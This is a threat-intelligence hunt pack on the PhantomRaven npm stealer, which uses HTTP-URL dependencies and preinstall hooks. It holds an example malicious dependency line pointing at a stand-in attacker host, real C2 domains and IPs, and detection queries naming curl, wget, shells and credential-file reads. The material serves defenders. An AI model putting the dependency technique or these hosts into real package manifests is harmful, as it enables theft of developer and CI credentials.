PhantomRaven — LLM-Generated npm Information Stealer via Remote Dynamic Dependencies
Executive Summary
PhantomRaven is a financially motivated npm supply-chain campaign, active since August 2025 across at least four infrastructure waves through February 2026 and freshly reassessed by CrowdStrike Counter Adversary Operations in September 2026. The operator — a self-proclaimed bug bounty hunter active since November 2022 under aliases including jpd12, jpd13, npmhell, npmpackagejpd, npmtestdharsh, jpdhackerone11 and packagedharsh — publishes typosquatted and "slopsquatted" npm packages (names an LLM would plausibly hallucinate when asked to suggest a dependency) that declare zero dependencies in package.json but specify a Remote Dynamic Dependency (RDD): an HTTP URL in place of a semver range. When a developer or CI job runs npm install, npm itself — not the malicious package's own code — fetches a second-stage tarball from attacker infrastructure and executes it automatically via a preinstall lifecycle hook. Static analysis, SCA scanners and the npm web UI all show "0 dependencies," because the payload never touches the npm registry.
The payload harvests developer email addresses (from .gitconfig, .npmrc, environment variables, and package.json), CI/CD environment variables and tokens for GitHub Actions, GitLab CI, Jenkins and CircleCI, git/npm configuration, a full system fingerprint (OS, architecture, hostname, Node version, public IP via api64.ipify.org), and exfiltrates everything twice — once as an HTTP GET query string, once as an HTTP POST JSON body — with an unfinished WebSocket fallback (wss://yourserver.com/socket, confirmed by both CrowdStrike and Endor Labs to be a hardcoded, non-functional placeholder). CrowdStrike assesses with high confidence the malware was LLM-generated, citing verbose per-line comments, placeholder code blocks, and statistical token-analysis patterns. Endor Labs' byte-level diff across all four waves found 257 of 259 payload lines identical — only the two C2-URL lines change between waves, even as the operator rotated npm accounts (50+ disposable accounts), domains (4, all via Amazon Registrar with WHOIS privacy and zero TLS), and PHP exfil endpoint names (jpd.php → npm.php).
To date CrowdStrike has not observed PhantomRaven logs for sale on stealer log shops, assessing the operator likely uses the tool solely to manufacture "vulnerable" targets for bug-bounty submission — but the credentials it steals (npm publish tokens, CI/CD secrets, GitHub tokens) are exactly the credentials that enable a genuine second-order supply-chain compromise regardless of the original operator's intent.
Defender priority: hunt the install-time behavior — npm/node lifecycle scripts spawning a shell or reaching a non-registry host — not just the known C2 domains. The actor has rotated infrastructure four times in seven months while reusing nearly the entire payload; the behavioral pattern survives domain rotation, the IOC list does not.Source Review & Web Hunter Notes
| Tier | Source | Key Finding | Carry Forward |
|---|---|---|---|
| 1 | CrowdStrike Counter Adversary Ops blog, Sept 15 2026 [01] | Actor attribution & timeline, 4 C2 domains, 1 C2 IP, 3 payload SHA256 hashes, full ATT&CK mapping, PyPI pivot evidence, npm hardening recommendations | Yes |
| 1 | Koi Security — original discloser, Oct 29 2025 (via syndication) [06] | Coined "PhantomRaven" and "Remote Dynamic Dependencies"; koi.ai now redirects to unrelated Palo Alto Networks marketing (Koi was acquired by Palo Alto Networks) — original blog text is not retrievable at this URL as of 2026-09-18 | Partial — via [02]/[05]/[07]/[08] |
| 1 | Sonatype Research Team, Oct 31 2025 [03] | +83 additional Wave-1 packages (200+ total), brandjacking of Adobe/Airbnb/MCP-server namespaces, full package name list | Yes |
| 1 | Endor Labs, Mar 10–30 2026 (with two live corrections) [04] | Complete 4-wave infrastructure timeline with per-wave C2 domain/IP/PHP-endpoint, byte-level payload diff (257/259 lines identical), 88 newly-attributed packages, infection-chain diagram | Yes |
| 2 | BleepingComputer, Oct 29 2025 [02] | Independent campaign-scale corroboration (126 packages, 86,000+ downloads), exfiltration method summary | Yes |
| 2 | The Hacker News, Oct 30 2025 [07] & Sept 18 2026 [05] | Corroborates Koi's original disclosure and syndicates CrowdStrike's Sept 2026 reassessment; direct quote confirming packages.storeartifact.com as the observed fetch host | Yes |
| 3 | CyberSecurityNews reprint (AI-extracted) [08] | Exact package.json RDD dependency syntax example and preinstall hook syntax | Yes |
Research decisions
- CrowdStrike's Sept 2026 domain list spells two domains
registry.storageartifact.com/packages.storageartifact.com("storage-artifact"); Endor Labs' Wave-3 domain is spelledpackage.storeartifacts.com("store-artifacts"). These are visually similar but textually distinct strings pulled verbatim from each primary source — they are shipped as separate, separately-attributed IOC rows rather than merged or "corrected," since neither source's snapshot supports assuming they're the same string. - Sonatype's 200+ and Endor Labs' 88 full package-name lists are preserved in full inside their own source snapshots (
03-sonatype.txt,04-endorlabs.txt) and referenced from the IOC Appendix rather than reproduced row-by-row in this report — the two names CrowdStrike directly attributed to incidents it responded to (transform-jsbi-to-bigint,sort-imports-es6-autofix) are carried into the narrative IOC table individually. - Prompt-injection check: every fetched source was reviewed for embedded instructions directed at an AI agent (hidden text, HTML comments, "note to the AI," authority claims). None was found in any of the eight snapshots — all page content was ordinary marketing/navigation chrome plus the cited article body.
Hunt Brief & Attack Chain
| Step | Telemetry | Hunt Angle |
|---|---|---|
1. Developer or CI job runs npm install against a typosquatted/slopsquatted package | ProcessRollup2 (npm/node command line) | Baseline rare or first-seen package names in install command lines |
2. package.json declares an HTTP-URL dependency instead of a semver range, e.g. "ui-styles-pkg": "http://[attacker-host]/[package].tgz" | None directly — this is file content, not a process/network event | GAP — requires SCA/registry-side scanning; not visible to endpoint telemetry (see §5) |
| 3. npm silently fetches the tarball from the attacker's HTTP server instead of registry.npmjs.org | DnsRequest / NetworkConnectIP4 from node.exe / npm | Q2, Q7 |
4. Fetched package's preinstall hook auto-executes (node index.js) | ProcessRollup2 — ParentBaseFileName=npm/node | Q1, Q4, Q6 |
5. Payload harvests developer email from .gitconfig, .npmrc, env vars, package.json author field | FileOpenInfo / FileReadInfo (tenant-dependent) | Q3 (CQL, validate in tenant) + native audit-log hunt (§7) |
6. Payload collects CI/CD env vars (GH Actions, GitLab CI, Jenkins, CircleCI) and system fingerprint, calling api64.ipify.org for public IP | DnsRequest / NetworkConnectIP4 to ipify | Q5 |
| 7. Payload exfiltrates via HTTP GET + POST (dormant WebSocket fallback) to a C2 PHP endpoint | DnsRequest / NetworkConnectIP4 to non-registry host | Q2, Q7, Q8, Q9 |
| 8. Same lineage observed on a GitHub Actions/GitLab/Jenkins/CircleCI runner host — highest-severity case; stolen tokens enable second-order supply-chain compromise | ProcessRollup2 + ComputerName/runner-naming correlation | Q6 |
Consolidated IOC Table
| Type | Value | Confidence | Action | Context | Expiry |
|---|---|---|---|---|---|
| Domain | packages[.]storeartifact[.]com | High (4 sources) | prevent | Wave-1 primary RDD C2, Aug–Oct 2025; reported DOWN by Mar 2026. Cleared for Prevent: 4 independent sources, dedicated attacker-registered infrastructure. Expiry set so a lapsed domain cannot block indefinitely if re-registered by a third party | 2027-03-18 |
| Domain | npm[.]jpartifacts[.]com | High (2 sources: CrowdStrike + Endor) | prevent | Wave-2 RDD C2, active Nov 2025; reported LIVE as of Mar 2026. Cleared for Prevent: 2 independent sources, dedicated attacker-registered infrastructure, and still live | 2027-03-18 |
| Domain | registry[.]storageartifact[.]com | Medium (1 source: CrowdStrike) | hunt | Listed in CrowdStrike Sept 2026 IOC table only; not corroborated elsewhere | 2026-12-18 |
| Domain | packages[.]storageartifact[.]com | Medium (1 source: CrowdStrike) | hunt | Listed in CrowdStrike Sept 2026 IOC table only; not corroborated elsewhere | 2026-12-18 |
| Domain | package[.]storeartifacts[.]com | Medium (1 source: Endor Labs) | hunt | Wave-3 RDD C2; reported DOWN | 2026-12-18 |
| Domain | npm[.]artifactsnpm[.]com | Medium (1 source: Endor Labs) | hunt | Wave-4 RDD C2; reported LIVE as of Mar 2026 | 2026-12-18 |
| IPv4 | 54.173.15[.]59 | High (2 sources) | detect | Wave-1 C2, AWS EC2 us-east-1 port 8080/80; reported DOWN — verify ownership before Prevent (AWS IP reuse risk) | 2027-03-18 |
| IPv4 | 100.26.42[.]247 | Medium (1 source: Endor Labs) | hunt | Wave-2 C2 IP | 2026-12-18 |
| IPv4 | 13.219.250[.]107 | Medium (1 source: Endor Labs) | hunt | Wave-3 C2 IP; reported DOWN | 2026-12-18 |
| IPv4 | 54.227.45[.]171 | Medium (1 source: Endor Labs) | hunt | Wave-4 C2 IP; reported LIVE as of Mar 2026 | 2026-12-18 |
| SHA256 | c31831d47fcbf52ff1f4e61838611916a4276d005a564e69946d5dac04235eed | Medium (1 source: CrowdStrike) | hunt | PhantomRaven payload hash, Sept 2026 report; payload is 257/259 lines identical across waves so hash IOCs are perishable | 2026-10-18 |
| SHA256 | 95a7dcc6de46826b22c43bee7fc550f3b5e2e6cbc5f33b0c241faf523641cf63 | Medium (1 source: CrowdStrike) | hunt | PhantomRaven payload hash, Sept 2026 report | 2026-10-18 |
| SHA256 | db3fe46df0a65fe9f8c99d2e11126a032a72e9814e354ce017448ce088a01e02 | Medium (1 source: CrowdStrike) | hunt | PhantomRaven payload hash, Sept 2026 report | 2026-10-18 |
| URL pattern | http://[c2-domain]/jpd.php or /npm.php | High (behavioral, 2+ sources) | hunt | Exfil endpoint; filename itself rotated jpd.php → npm.php, so match path structure not the literal filename | 2027-03-18 |
| Package name | transform-jsbi-to-bigint (npm acct jpdhellonpm1) | High (CrowdStrike) | detect | Falcon Complete-remediated incident; contains PhantomRaven preinstall RDD reference | 2027-03-18 |
| Package name | sort-imports-es6-autofix (npm acct jpd15) | High (CrowdStrike) | detect | Falcon Complete-remediated incident; contains PhantomRaven preinstall RDD reference | 2027-03-18 |
| Behavioral | RDD dependency specifier — an HTTP(S) URL in place of a semver range in package.json | High (4 sources) | detect | Core technique signature across all four waves | 2027-03-18 |
| Behavioral | Public-IP lookup to api64[.]ipify[.]org from a node/npm child process, followed by CI/CD env var access | Medium | enrich | Fingerprinting step; api64.ipify.org is itself a legitimate third-party service — weak alone | 2026-12-18 |
| Placeholder | wss://yourserver[.]com/socket | Low | pivot | Hardcoded WebSocket placeholder, confirmed non-functional by both CrowdStrike and Endor Labs — watch for it becoming live in a future wave | 2026-12-18 |
Affected Surface & Telemetry Matrix
| Surface | Telemetry | Priority | Gap |
|---|---|---|---|
Developer workstations (Windows/macOS/Linux) running npm install | ProcessRollup2, NetworkConnectIP4, DnsRequest | High | None major — full Falcon sensor coverage expected |
| Self-hosted CI/CD runners with a Falcon sensor (GitLab Runner, Jenkins agent, CircleCI self-hosted, GitHub Actions self-hosted) | Same as above | Critical | None major, but requires the sensor be deployed to ephemeral/autoscaled runner images, not just static build boxes |
| SaaS-hosted CI/CD runners (GitHub-hosted Actions runners, GitLab.com SaaS runners, CircleCI cloud executors) | None — no Falcon sensor can be installed on vendor-managed ephemeral compute | Critical | GAP — the single largest coverage gap in this pack; mitigated only via platform-native audit logs (§7) and egress controls the vendor exposes |
| npm registry / package-publishing side (catching a malicious package before install) | Not applicable to endpoint EDR | High | GAP — requires SCA/registry-side tooling (Sonatype, Endor Labs, Socket.dev, npm's own scanning); entirely outside Falcon's visibility |
File system credential stores (.npmrc, .git-credentials, ~/.gitconfig) | FileOpenInfo / FileReadInfo | Medium | Partial — event availability and exact field set is sensor-version/tenant dependent; validate before relying on Q3 alone, and pair with native auditd/ESF (§7) |
| WebSocket fallback C2 | NetworkConnectIP4 (if activated) | Low | Full — not yet weaponized per any cited source; no known endpoint to hunt against today |
ATT&CK Mapping
| Tactic | Technique | Observed Behavior | Query / Control |
|---|---|---|---|
| Reconnaissance | T1016.001 — Internet Connection Discovery | Contacts api64.ipify.org to learn the infected system's external IP | Q5 |
| Resource Development | T1583.001 — Acquire Infrastructure: Domains | Registered and rotated 4 C2 domains via Amazon Registrar with WHOIS privacy | Q8; egress-filtering hardening (§12) |
| Resource Development | T1587.001 — Develop Capabilities: Malware | Developed PhantomRaven, likely LLM-generated | Context only — no distinct telemetry |
| Initial Access | T1195.001 — Compromise Software Dependencies and Development Tools | Typosquatted/slopsquatted packages fetch an RDD payload via HTTP URL at install time | Q1, Q4, Q6; hardening controls 1–4 (§12) |
| Execution | T1059.007 — Command and Scripting Interpreter: JavaScript | Payload executes as JS inside the Node.js runtime | Q1, Q4, Q6 |
| Execution | T1072 — Software Deployment Tools | Abuses npm's preinstall lifecycle hook for automatic execution | Q1, Q6; --ignore-scripts hardening (§12) |
| Defense Evasion | T1027.009 — Obfuscated Files or Information: Embedded Payloads | Payload hidden behind an HTTP URL dependency, invisible to npm's web UI and static scanners | GAP — requires SCA/registry-side tooling (§5) |
| Defense Evasion | T1036.005 — Masquerading: Match Legitimate Name or Location | Typosquatted package names mimic legitimate dev tools (e.g. Babel plugins, GraphQL Codegen) | Q4; SCA screening |
| Credential Access | T1552.001 — Unsecured Credentials: Credentials In Files | Searches Git and npm configuration files for email addresses / credentials | Q3 (validate in tenant) + native audit hunt (§7) |
| Credential Access | T1552.007 — Unsecured Credentials: Container API | Collects CI/CD environment variables (GitHub Actions, GitLab CI, Jenkins, CircleCI) | Q6 + native CI audit hunts (§7) |
| Discovery | T1082 — System Information Discovery | Collects OS, architecture, hostname, Node version, PID, cwd | Q1/Q6 process context |
| Discovery | T1083 — File and Directory Discovery | Searches for package.json, Git and npm config files | Q3 |
| Discovery | T1614.001 — System Location Discovery | Collects system locale/timezone information | Context only |
| Collection | T1005 — Data from Local System | Collects system info, env vars, config files | Q3 |
| Collection | T1119 — Automated Collection | Fully automated collection/exfiltration with no user interaction | Context only |
| Command and Control | T1071.001 — Application Layer Protocol: Web Protocols | HTTP GET and POST to C2 infrastructure | Q2, Q7, Q8 |
| Command and Control | T1104 — Multi-Stage Channels | HTTP exfiltration plus a dormant WebSocket fallback | Q2 (monitor for future WSS activation) |
| Exfiltration | T1041 — Exfiltration Over C2 Channel | Collected data exfiltrated via HTTP GET/POST to attacker infrastructure | Q2, Q8, Q9 |
Native Audit-Log Hunts
The largest single coverage gap in this pack is SaaS-hosted CI/CD compute (§5) — GitHub-hosted Actions runners, GitLab.com SaaS runners, and CircleCI cloud executors cannot carry a Falcon sensor at all. These native, non-CQL checks are the only available coverage for that surface, and a useful supplement everywhere else.
GitHub Actions
- Enable organization Audit Log streaming and review workflow run logs for
npm installsteps; grep job logs for the npm ≥ v12 native warning stringnpm warn install-scriptsas a positive control — its presence means the lifecycle-script block is working as intended, and any subsequentinstall-scripts approvein the same log deserves review. - Enforce org policy "Require approval for first-time contributors" and restrict which actions/orbs can run unreviewed in pull-request-triggered workflows.
- For self-hosted runners in your own cloud account, correlate job logs against VPC Flow Logs / cloud firewall logs for outbound calls to non-allowlisted hosts during the install step.
GitLab CI
- Review CI/CD job logs and the Package Registry audit events for unexpected outbound network activity during
npm ci/npm installstages. - Audit
.gitlab-ci.ymlacross all projects for unpinned/unaudited custom images and inline scripts that shell out during dependency installation. - Egress-filter self-hosted GitLab Runner hosts per the hardening controls in §12; SaaS runners inherit the same SaaS-hosted-compute gap as GitHub-hosted Actions.
Jenkins
- Enable the Audit Trail plugin and review build console output for
preinstall/postinstallscript execution and outboundcurl/wgetcalls during dependency resolution. - Restrict global npm/Node tool auto-installation to a pinned, internally-mirrored version; review the credentials store for long-lived tokens exposed to build steps.
CircleCI
- Enable org-level audit logging (Contexts access, orb usage) and review
.circleci/config.ymlacross repos for unpinned or unaudited third-party orbs. - Review job step output for preinstall-stage network calls to hosts outside the approved registry/CDN allowlist.
Linux / macOS endpoint (auditd / Endpoint Security Framework)
- Linux
auditdwatch rules on credential-bearing files, independent of Falcon licensing for FileOpenInfo/FileReadInfo:-w /home/*/.npmrc -p r -k phantomraven_cred_read-w /home/*/.git-credentials -p r -k phantomraven_cred_read-w /home/*/.gitconfig -p r -k phantomraven_cred_read - macOS: Endpoint Security Framework file-open events on the same paths, or as a fallback,
log show --predicate 'eventMessage contains ".npmrc"' --last 1h.
npm configuration audit (all platforms)
- Fleet-wide
npm config get ignore-scripts— should returntrueon every CI runner at minimum (see hardening control 1, §12). npm install-scripts ls(npm ≥ v12) surfaces any lifecycle script currently pending developer approval — a non-empty pending list on a CI host, where no interactive approval is possible, is itself worth alerting on.
CrowdStrike LogScale CQL Hunt Queries
Looks for: npm/npx/node spawning curl, wget, a shell, or PowerShell — the signature of a lifecycle script (preinstall/install/postinstall) reaching out to fetch or execute something. FP: node-gyp, sharp, esbuild, puppeteer and playwright legitimately shell out during their own postinstall step to fetch prebuilt native binaries.
// HUNT: npm/node lifecycle script spawns a shell, interpreter, or network fetch tool // MITRE: T1195.001, T1072, T1059.007 // CONF: high FP: medium COST: low // REQUIRES: ProcessRollup2 on developer workstation or CI agent // FALSE POSITIVES: node-gyp, sharp, esbuild, puppeteer, and playwright legitimately run a postinstall step that shells out to python3 or curl to fetch prebuilt native binaries // TUNING: exclude events where ParentCommandLine contains "node-gyp", "esbuild/install.js", "sharp/install", "puppeteer/install.js", or "playwright install" -- or scope this query to hosts/paths outside your approved package allowlist // LOOKBACK: 7d (set via the Falcon time picker, not an in-query filter) #event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/ | ParentBaseFileName=/^(npm|npm-cli\.js|node|npx)(\.exe|\.cmd)?$/i | FileName=/^(curl|wget|powershell|pwsh|sh|bash|cmd)(\.exe)?$/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, ParentCommandLine, FileName, CommandLine])
Looks for: DNS resolutions made by node/npm to any host that isn't the public registry, a known CDN, or GitHub. FP: node.exe legitimately resolves hundreds of domains a day (CDNs, telemetry, corporate proxies) — this is a triage feed, not a standalone alert.
// HUNT: node/npm process resolves a domain outside the approved npm registry/CDN allowlist // MITRE: T1071.001, T1041, T1102 // CONF: medium FP: high COST: medium // REQUIRES: DnsRequest with ContextBaseFileName -- ⚠ validate in tenant: confirm DnsRequest carries ContextBaseFileName in your sensor version/cloud before relying on this // FALSE POSITIVES: node.exe legitimately resolves hundreds of domains per day -- GitHub raw content, unpkg/jsdelivr CDNs, telemetry endpoints for editor extensions, corporate proxies. This query is a triage feed, not a standalone alert. // TUNING: extend the !in() allowlist with your organization's approved npm mirror, artifact proxy (Artifactory/Nexus), and any internally-used CDN before promoting; group results by DomainName and review only entries with low historical prevalence #event_simpleName=DnsRequest | ContextBaseFileName=/^(npm|npm-cli\.js|node|npx)(\.exe|\.cmd)?$/i | !in(DomainName, values=["registry.npmjs.org", "registry.yarnpkg.com", "nodejs.org", "npmjs.com", "npmjs.org", "github.com", "githubusercontent.com", "objects.githubusercontent.com", "unpkg.com", "jsdelivr.net", "cdn.jsdelivr.net", "cloudflare.com", "yarnpkg.com"]) | groupBy([ComputerName, ContextBaseFileName, DomainName], function=count(as=Hits), limit=1000) | sort(Hits, order=desc, limit=100)
Looks for: a node/npm process opening .npmrc, .git-credentials, or .gitconfig. FP: git.exe, IDEs, and Git GUI clients routinely open the same files during normal developer workflow.
// HUNT: process reads npm or git credential-bearing files (.npmrc, .git-credentials, .gitconfig) // MITRE: T1552.001, T1005 // CONF: medium FP: medium COST: low // REQUIRES: FileOpenInfo or FileReadInfo -- ⚠ validate in tenant: event availability and exact field set (TargetFileName, ContextBaseFileName) is sensor-version/license dependent; confirm a sample event before relying on this in production // FALSE POSITIVES: git.exe, VS Code, GitHub Desktop, and most IDEs routinely open these same files during normal developer workflow // TUNING: exclude ContextBaseFileName values for git.exe, code.exe, and your organization's approved IDE/Git GUI clients; this query is highest-value when correlated with Q1's lineage (node/npm specifically, not an IDE) #event_simpleName=/FileOpenInfo|FileReadInfo/ | TargetFileName=*.npmrc or TargetFileName=*.git-credentials or TargetFileName=*.gitconfig | ContextBaseFileName=/^(node|npm|npm-cli\.js|npx)(\.exe|\.cmd)?$/i | table([@timestamp, ComputerName, UserName, ContextBaseFileName, TargetFileName])
Looks for: node executing a script from inside node_modules/transform-jsbi-to-bigint/ or node_modules/sort-imports-es6-autofix/ — the two packages CrowdStrike directly attributed to remediated incidents. FP: near-zero; these are attacker-registered package names.
// HUNT: node executes a script from a known PhantomRaven-associated package path under node_modules // MITRE: T1195.001, T1059.007 // CONF: high FP: low COST: low // REQUIRES: ProcessRollup2 // FALSE POSITIVES: none expected -- these are attacker-registered package names; a hit would only be benign if your org vendors software that also depends on an identically-named unrelated package (verify before treating as benign) // TUNING: extend the CommandLine list as new PhantomRaven-wave package names are attributed; this covers only the two names CrowdStrike named directly (Sept 2026) -- it is NOT exhaustive against the 200+ names reported by Sonatype/Endor Labs (see IOC Appendix, §10) #event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/ | FileName=/^node(\.exe)?$/i | CommandLine = *node_modules/transform-jsbi-to-bigint/* or CommandLine = *node_modules\transform-jsbi-to-bigint\* or CommandLine = *node_modules/sort-imports-es6-autofix/* or CommandLine = *node_modules\sort-imports-es6-autofix\* | table([@timestamp, ComputerName, UserName, CommandLine, ParentBaseFileName])
Looks for: a node/npm process resolving the public-IP lookup service PhantomRaven uses for system fingerprinting. FP: legitimate dynamic-DNS updaters and some CLI tools also call ipify.org.
// HUNT: node/npm process resolves the public-IP lookup service api64.ipify.org used by PhantomRaven for system fingerprinting // MITRE: T1016.001, T1082 // CONF: medium FP: medium COST: low // REQUIRES: DnsRequest -- ⚠ validate in tenant: ContextBaseFileName availability on DnsRequest (see Q2) // FALSE POSITIVES: legitimate dynamic-DNS updaters, some VPN clients, and a handful of CLI tools also call ipify.org to learn the host's public IP; this is a corroborating signal, not a standalone alert // TUNING: fire only when correlated with Q1 (lifecycle spawn) or Q2 (non-registry DNS) on the same aid within a short window; do not alert on this query alone #event_simpleName=DnsRequest | DomainName=/^api64\.ipify\.org$/i | ContextBaseFileName=/^(node|npm|npm-cli\.js|npx)(\.exe|\.cmd)?$/i | table([@timestamp, ComputerName, UserName, ContextBaseFileName, DomainName])
Looks for: the exact Q1 pattern, scoped to hostnames matching common CI/build-agent naming conventions. Why highest severity: credentials stolen from a CI runner (npm publish tokens, GitHub/GitLab/Jenkins/CircleCI secrets) enable a genuine second-order supply-chain compromise. FP: same as Q1, and more common in CI where postinstall native-binary builds are routine.
// HUNT: npm/node lifecycle-script network spawn observed on a CI/CD runner or build-agent host // MITRE: T1195.001, T1072, T1552.007 // CONF: high FP: medium COST: low // REQUIRES: ProcessRollup2; a hostname/tagging convention that identifies CI runners -- adjust the ComputerName pattern to your fleet's naming standard // FALSE POSITIVES: same as Q1 -- node-gyp/sharp/esbuild/puppeteer/playwright postinstall steps are common in CI pipelines and fire here more often than on developer workstations // TUNING: replace the ComputerName wildcard list with your actual GitHub Actions self-hosted runner, GitLab Runner, Jenkins agent, and CircleCI executor naming convention; apply the same exclusions as Q1 #event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/ | ParentBaseFileName=/^(npm|npm-cli\.js|node|npx)(\.exe|\.cmd)?$/i | FileName=/^(curl|wget|powershell|pwsh|sh|bash|cmd)(\.exe)?$/i | ComputerName = *runner* or ComputerName = *RUNNER* or ComputerName = *gitlab-runner* or ComputerName = *jenkins* or ComputerName = *JENKINS* or ComputerName = *circleci* or ComputerName = *buildagent* or ComputerName = *build-agent* | table([@timestamp, ComputerName, UserName, ParentBaseFileName, ParentCommandLine, FileName, CommandLine])
Looks for: low-count, widely-distributed domains contacted by node/npm — the shape of a not-yet-attributed Wave-5+ C2, since PhantomRaven's pattern is many hosts each making a handful of hits to a new domain. FP: high — new legitimate dependencies look identical. Analyst-reviewed hunt only; never automate blocking on this.
// HUNT: node/npm process resolves a rare, low-count domain -- candidate undiscovered C2 (run this query over two windows, e.g. last 24h vs. last 90d, and diff manually; do not add an in-query time filter, see crowdstrike-logscale-v3 guidance) // MITRE: T1071.001, T1583.001 // CONF: medium FP: high COST: high // REQUIRES: DnsRequest with 90+ days retention; ContextBaseFileName validated in tenant (see Q2) // FALSE POSITIVES: new legitimate npm dependencies, internal tooling rollouts, and one-off CDN endpoints all look identical to a new C2 domain under this model; this is a hunt-only, analyst-reviewed query // TUNING: add your approved-registry/CDN allowlist from Q2; review only domains with RecentCount below 5 across the whole fleet AND DistinctHosts above 1 -- widespread-but-low-count-per-host is the PhantomRaven shape, a domain hit hundreds of times by one host is more likely legitimate build tooling #event_simpleName=DnsRequest | ContextBaseFileName=/^(npm|npm-cli\.js|node|npx)(\.exe|\.cmd)?$/i | groupBy([DomainName], function=[count(as=RecentCount), min(@timestamp, as=FirstSeenThisWindow), count(ComputerName, distinct=true, as=DistinctHosts)], limit=5000) | sort(RecentCount, order=asc, limit=200)
Looks for: DNS resolution of any of the six reported C2 domains (§4). FP: near-zero for the two multi-sourced domains; the four single-sourced domains carry the caveats noted in §4/§10.
// HUNT: direct match against known PhantomRaven C2 domains // MITRE: T1071.001, T1041, T1583.001 // CONF: high FP: low COST: low // REQUIRES: DnsRequest -- ⚠ validate in tenant: ContextBaseFileName availability (see Q2) // FALSE POSITIVES: near-zero -- these are attacker-registered, single-purpose domains. packages.storeartifact.com and npm.jpartifacts.com are multi-sourced (high confidence); registry.storageartifact.com, packages.storageartifact.com, package.storeartifacts.com and npm.artifactsnpm.com are each single-sourced (see §4) -- treat hits on those four as high-value leads requiring secondary confirmation before escalation // TUNING: none required for the multi-sourced pair; for the four single-sourced domains, corroborate with Q1/Q6 process lineage before treating as a confirmed compromise #event_simpleName=DnsRequest | DomainName=/^(packages\.storeartifact\.com|npm\.jpartifacts\.com|registry\.storageartifact\.com|packages\.storageartifact\.com|package\.storeartifacts\.com|npm\.artifactsnpm\.com)$/i | table([@timestamp, ComputerName, UserName, DomainName, ContextBaseFileName])
Looks for: outbound connections to any of the four reported C2 IPs. FP: all four are AWS EC2 addresses; three are reported DOWN as of the cited sources, meaning AWS could reassign them to an unrelated tenant. Detect-only — see Q4/§10 for the Prevent-tier caveat on 54.173.15.59.
// HUNT: direct match against known PhantomRaven C2 IP addresses // MITRE: T1071.001, T1041 // CONF: medium FP: low COST: low // REQUIRES: NetworkConnectIP4 // FALSE POSITIVES: 54.173.15.59 is dual-sourced (CrowdStrike + Endor Labs) but reported DOWN -- AWS may reassign it to an unrelated tenant, which would false-positive this line; 100.26.42.247, 13.219.250.107 and 54.227.45.171 are each single-sourced (Endor Labs only) // TUNING: keep this query at Detect only; do not promote any of the four IPs to Prevent without re-verifying current ownership/liveness immediately before deployment #event_simpleName=NetworkConnectIP4 | RemoteAddressIP4=/^(54\.173\.15\.59|100\.26\.42\.247|13\.219\.250\.107|54\.227\.45\.171)$/i | table([@timestamp, ComputerName, UserName, RemoteAddressIP4, RemotePort, ContextBaseFileName])
Custom IOA Recommendations
Four queries are strong Custom IOA candidates; the remaining five stay Investigate/Hunt-only pending tuning or because they are deliberately noisy triage feeds.
| IOA Name | Source Query | Pattern | Exclusions Required | Deployment Path |
|---|---|---|---|---|
| Suspicious npm Lifecycle Script Network Spawn | Q1 | ParentBaseFileName=npm/node/npx → FileName=curl/wget/powershell/sh/bash | node-gyp, sharp, esbuild, puppeteer, playwright postinstall paths | Detect for 14-day burn-in with exclusions tuned from real FP hits, then promote to Prevent on workstations; keep Detect-only on CI where native-binary builds are more common |
| Named PhantomRaven Package Execution | Q4 | node executing from node_modules/transform-jsbi-to-bigint/ or node_modules/sort-imports-es6-autofix/ | None identified | Prevent immediately — near-zero FP, attacker-registered names |
| CI/CD Runner Lifecycle Script Network Spawn | Q6 | Q1 pattern scoped to CI/build-agent hostnames | Same as Q1, tuned per-fleet naming convention | Detect with immediate high-priority SOC paging (not just a queue item) given the second-order supply-chain risk; hold at Detect until the hostname pattern is validated against your actual runner fleet |
| PhantomRaven Known C2 Domain Match | Q8 | DnsRequest to any of the six reported C2 domains | None for the two multi-sourced domains | Prevent for packages.storeartifact.com and npm.jpartifacts.com (2+ sources); Detect-only for the four single-sourced domains |
Q9 (IP match) is intentionally not recommended for Custom IOA promotion — three of the four IPs are single-sourced and all four are AWS EC2 addresses with mixed live/DOWN status as of the cited reports. Re-verify ownership immediately before any Prevent-tier deployment against an IP.
Machine-Readable IOC Appendix
Action-tier mapping — read before bulk import. Falcon IOC Management supports only prevent, detect, allow and no_action; it has no hunt, enrich or pivot action. Those three are analyst-workflow tiers used in the §4 table, and they are encoded here as detect at low/medium severity, with the single-sourced caveat carried in each row's description field. The mapping is therefore: §4 prevent → CSV prevent (2+ independent sources only); §4 detect → CSV detect; §4 hunt/enrich/pivot → CSV detect at reduced severity, not a confirmed block. Only the two multi-sourced domains below are set to prevent; every single-sourced domain, IP and hash is detect by design. Behavioral and placeholder entries from §4 are deliberately absent from this CSV — they are not atomic indicators and must not be imported.
type,value,action,severity,expiration,description,tags domain,packages.storeartifact.com,prevent,high,2027-03-18,PhantomRaven Wave-1 RDD C2 -- 4 independent sources,campaign:PhantomRaven domain,npm.jpartifacts.com,prevent,high,2027-03-18,PhantomRaven Wave-2 RDD C2 -- CrowdStrike and Endor Labs,campaign:PhantomRaven domain,registry.storageartifact.com,detect,medium,2026-12-18,PhantomRaven C2 domain -- single-sourced CrowdStrike Sept 2026 only,campaign:PhantomRaven domain,packages.storageartifact.com,detect,medium,2026-12-18,PhantomRaven C2 domain -- single-sourced CrowdStrike Sept 2026 only,campaign:PhantomRaven domain,package.storeartifacts.com,detect,medium,2026-12-18,PhantomRaven Wave-3 RDD C2 -- single-sourced Endor Labs only; reported DOWN,campaign:PhantomRaven domain,npm.artifactsnpm.com,detect,medium,2026-12-18,PhantomRaven Wave-4 RDD C2 -- single-sourced Endor Labs only; reported LIVE Mar 2026,campaign:PhantomRaven ipv4,54.173.15.59,detect,medium,2026-12-18,PhantomRaven Wave-1 C2 IP AWS EC2 us-east-1 -- reported DOWN; do not Prevent due to AWS IP reassignment risk,campaign:PhantomRaven ipv4,100.26.42.247,detect,low,2026-12-18,PhantomRaven Wave-2 C2 IP -- single-sourced Endor Labs only,campaign:PhantomRaven ipv4,13.219.250.107,detect,low,2026-12-18,PhantomRaven Wave-3 C2 IP -- single-sourced Endor Labs only; reported DOWN,campaign:PhantomRaven ipv4,54.227.45.171,detect,low,2026-12-18,PhantomRaven Wave-4 C2 IP -- single-sourced Endor Labs only; reported LIVE Mar 2026,campaign:PhantomRaven sha256,c31831d47fcbf52ff1f4e61838611916a4276d005a564e69946d5dac04235eed,detect,low,2026-10-18,PhantomRaven payload hash -- single-sourced CrowdStrike Sept 2026; payload reused across waves so hash IOCs are 